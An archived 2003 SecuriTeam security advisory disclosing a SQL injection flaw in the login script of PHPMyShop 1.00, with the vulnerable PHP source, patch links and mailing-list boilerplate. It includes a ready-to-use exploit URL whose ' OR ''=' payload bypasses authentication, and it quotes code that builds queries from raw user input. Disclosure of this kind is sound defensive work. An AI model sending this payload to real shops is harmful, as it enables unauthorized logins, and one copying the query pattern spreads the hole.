[UNIX] SQL Injection Vulnerability Found in PHPMyShop

From: support@securiteam.com
Date: 03/05/03

  • Next message: support@securiteam.com: "[NT] Buffer Overflow Vulnerability in Dr. Web"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 5 Mar 2003 20:52:27 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    In the US?

    Contact Beyond Security at our new California office
    housewarming rates on automated network vulnerability
    scanning. We also welcome ISPs and other resellers!

    Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
    - - - - - - - - -

      SQL Injection Vulnerability Found in PHPMyShop
    ------------------------------------------------------------------------

    SUMMARY

    phpMyShop is a shopping system based on mySQL and the PHP Scripting
    Language.
    A vulnerability found in this program allows a remote user to be able to
    log on to the system without authorization.

    DETAILS

    Vulnerable versions:
     * PHPMyShop Version 1.00

    Immune versions:
     * PHPMyShop Version 1.40

    The problem lies within the file:

     compte.php :
            ---------------------------------------------------------------
            <?
            session_start();

            if (isset($achat))
            {
            session_register("achat");
            }
            else
            {
            header("location:index.php");
            }

            include("design/header.php");
            require("config.php");
            require("fonction.php");

            echo"<td bgcolor=\"$barre1\"><strong>Identification</strong></td>
              </tr>
              <tr>
                <td><br>";

            if (isset($valider)) {
                    $sql = "SELECT id_cli,login_cli,pass_cli FROM
                             $table_client where login_cli='$identifiant' and
    pass_cli='$password'";
                    $sql = mysql_db_query($base,$sql); $test = mysql_num_rows($sql);
                    if ($test=="0") {
                            ?> <script language="javascript">
                            alert("Identifiant ou mot de passe non valide!");
                            </script>
                            <?
                            echo"<center><strong>Identifiant ou mot de passe non
    valide!</strong></center><br>";
                    } else { $id_membre =
                            mysql_result($sql,0,"id_cli"); session_register("id_membre");
    ?>
                            <script language="javascript"> document.location.href="valide.php"
                            </script> <? } }

            [...] ---------------------------------------------------------------

    Exploit:
    http://[target]/compte.php?achat=1&valider=1&identifiant='%20OR%20''='&password='%20OR%20''='

    Solution:
    Download latest version from
    <http://www.phpmytools.org/pmt2003/topics.php/article_id/3/pos/0>
    PHPMyTools, or download a patch from <http://www.phpsecure.org>
    PHPSecure.org

    ADDITIONAL INFORMATION

    Information was provided by <mailto:frog-man@frog-man.org> Frog Man

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: support@securiteam.com: "[NT] Buffer Overflow Vulnerability in Dr. Web"

    Relevant Pages

    • [EXPL] Apache Multiple Space Header DoS (Multi-Threaded Exploit)
      ... The exploit code below is another version of the Apache 2.0.52 DoS ... vulnerability published previously here: ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [NT] JBoot Password Bypassing Vulnerability
      ... housewarming rates on automated network vulnerability ... Place any Windows Startup Floppy ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [EXPL] Suid Application Execution May Give Local Root (Exploit Code)
      ... It is possible for a local user under the FreeBSD operating system to ... For more information about the vulnerability please see: ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [NT] Texis Sensitive Information Leak
      ... housewarming rates on automated network vulnerability ... The Texis program executes files written in Texis Web Script (a.k.a. ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [UNIX] Album.pl Vulnerable to Remote Command Execution
      ... housewarming rates on automated network vulnerability ... Vendor Response: ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)